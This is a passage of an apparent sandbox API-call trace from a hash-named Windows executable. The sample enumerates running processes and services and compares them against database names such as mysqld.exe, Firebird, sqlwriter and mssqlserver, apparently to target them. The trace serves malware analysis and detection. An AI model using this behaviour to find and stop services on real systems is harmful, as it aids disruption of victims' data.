(lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0162.677] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0162.677] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0162.677] lstrlenW (lpString="winlogon.exe") returned 12 [0162.677] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0162.677] lstrlenW (lpString="services.exe") returned 12 [0162.677] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0162.678] lstrlenW (lpString="lsass.exe") returned 9 [0162.678] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0162.678] lstrlenW (lpString="lsm.exe") returned 7 [0162.678] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.678] lstrlenW (lpString="svchost.exe") returned 11 [0162.678] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.679] lstrlenW (lpString="svchost.exe") returned 11 [0162.679] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.679] lstrlenW (lpString="svchost.exe") returned 11 [0162.679] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.679] lstrlenW (lpString="svchost.exe") returned 11 [0162.679] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.680] lstrlenW (lpString="svchost.exe") returned 11 [0162.680] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0162.680] lstrlenW (lpString="audiodg.exe") returned 11 [0162.680] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.680] lstrlenW (lpString="svchost.exe") returned 11 [0162.680] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0162.681] lstrlenW (lpString="explorer.exe") returned 12 [0162.681] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0162.681] lstrlenW (lpString="dwm.exe") returned 7 [0162.681] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.681] lstrlenW (lpString="svchost.exe") returned 11 [0162.681] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0162.682] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0162.682] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0162.682] lstrlenW (lpString="spoolsv.exe") returned 11 [0162.682] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0162.682] lstrlenW (lpString="reader_sl.exe") returned 13 [0162.682] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.683] lstrlenW (lpString="svchost.exe") returned 11 [0162.683] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0162.683] lstrlenW (lpString="taskhost.exe") returned 12 [0162.683] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0162.683] lstrlenW (lpString="dllhost.exe") returned 11 [0162.683] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0162.684] lstrlenW (lpString="taskhost.exe") returned 12 [0162.684] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0162.684] lstrlenW (lpString="consent.exe") returned 11 [0162.684] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0162.684] CloseHandle (hObject=0x3d0) returned 1 [0162.684] Sleep (dwMilliseconds=0x1f4) [0163.677] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4293dd0 [0163.677] EnumServicesStatusExW (in: hSCManager=0x4293dd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0163.677] GetLastError () returned 0xea [0163.677] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x11e4) returned 0x4285088 [0163.677] EnumServicesStatusExW (in: hSCManager=0x4293dd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4285088, cbBufSize=0x11e4, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4285088, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0163.678] CloseServiceHandle (hSCObject=0x4293dd0) returned 1 [0163.678] lstrlenW (lpString="Appinfo") returned 7 [0163.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0163.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0163.678] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0163.678] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0163.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0163.678] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0163.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0163.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0163.678] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0163.678] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0163.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0163.678] lstrlenW (lpString="AudioSrv") returned 8 [0163.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0163.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0163.678] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0163.679] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0163.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0163.679] lstrlenW (lpString="BFE") returned 3 [0163.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0163.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0163.679] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0163.679] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0163.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0163.679] lstrlenW (lpString="CryptSvc") returned 8 [0163.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0163.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0163.679] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0163.679] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0163.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0163.679] lstrlenW (lpString="CscService") returned 10 [0163.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0163.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0163.679] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0163.679] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0163.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0163.679] lstrlenW (lpString="DcomLaunch") returned 10 [0163.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0163.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0163.679] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0163.679] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0163.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0163.679] lstrlenW (lpString="Dhcp") returned 4 [0163.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0163.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0163.679] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0163.679] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0163.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0163.679] lstrlenW (lpString="Dnscache") returned 8 [0163.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0163.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0163.679] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0163.680] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0163.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0163.680] lstrlenW (lpString="DPS") returned 3 [0163.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0163.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0163.680] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0163.680] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0163.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0163.680] lstrlenW (lpString="eventlog") returned 8 [0163.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0163.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0163.680] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0163.680] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0163.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0163.680] lstrlenW (lpString="EventSystem") returned 11 [0163.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0163.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0163.680] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0163.680] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0163.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0163.680] lstrlenW (lpString="gpsvc") returned 5 [0163.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0163.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0163.680] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0163.680] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0163.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0163.680] lstrlenW (lpString="iphlpsvc") returned 8 [0163.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0163.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0163.680] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0163.680] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0163.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0163.680] lstrlenW (lpString="LanmanServer") returned 12 [0163.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0163.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0163.680] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0163.680] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0163.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0163.681] lstrlenW (lpString="LanmanWorkstation") returned 17 [0163.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0163.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0163.681] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0163.681] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0163.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0163.681] lstrlenW (lpString="lmhosts") returned 7 [0163.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0163.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0163.681] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0163.681] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0163.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0163.681] lstrlenW (lpString="MMCSS") returned 5 [0163.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0163.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0163.681] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0163.681] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0163.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0163.681] lstrlenW (lpString="MpsSvc") returned 6 [0163.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0163.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0163.681] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0163.681] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0163.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0163.681] lstrlenW (lpString="Netman") returned 6 [0163.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0163.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0163.681] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0163.681] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0163.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0163.681] lstrlenW (lpString="netprofm") returned 8 [0163.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0163.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0163.681] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0163.681] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0163.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0163.682] lstrlenW (lpString="NlaSvc") returned 6 [0163.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0163.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0163.682] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0163.682] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0163.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0163.682] lstrlenW (lpString="nsi") returned 3 [0163.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0163.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0163.682] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0163.682] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0163.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0163.682] lstrlenW (lpString="PcaSvc") returned 6 [0163.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0163.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0163.682] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0163.682] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0163.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0163.682] lstrlenW (lpString="PlugPlay") returned 8 [0163.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0163.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0163.682] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0163.682] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0163.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0163.682] lstrlenW (lpString="Power") returned 5 [0163.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0163.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0163.682] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0163.682] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0163.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0163.682] lstrlenW (lpString="ProfSvc") returned 7 [0163.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0163.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0163.682] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0163.682] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0163.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0163.683] lstrlenW (lpString="RpcEptMapper") returned 12 [0163.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0163.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0163.683] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0163.683] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0163.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0163.683] lstrlenW (lpString="RpcSs") returned 5 [0163.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0163.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0163.683] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0163.683] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0163.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0163.683] lstrlenW (lpString="SamSs") returned 5 [0163.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0163.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0163.683] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0163.683] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0163.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0163.683] lstrlenW (lpString="Schedule") returned 8 [0163.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0163.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0163.683] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0163.683] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0163.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0163.683] lstrlenW (lpString="SENS") returned 4 [0163.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0163.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0163.683] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0163.683] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0163.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0163.683] lstrlenW (lpString="ShellHWDetection") returned 16 [0163.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0163.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0163.683] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0163.683] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0163.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0163.684] lstrlenW (lpString="Spooler") returned 7 [0163.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0163.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0163.684] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0163.684] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0163.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0163.684] lstrlenW (lpString="SysMain") returned 7 [0163.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0163.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0163.684] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0163.684] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0163.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0163.684] lstrlenW (lpString="Themes") returned 6 [0163.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0163.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0163.684] lstrcmpiW 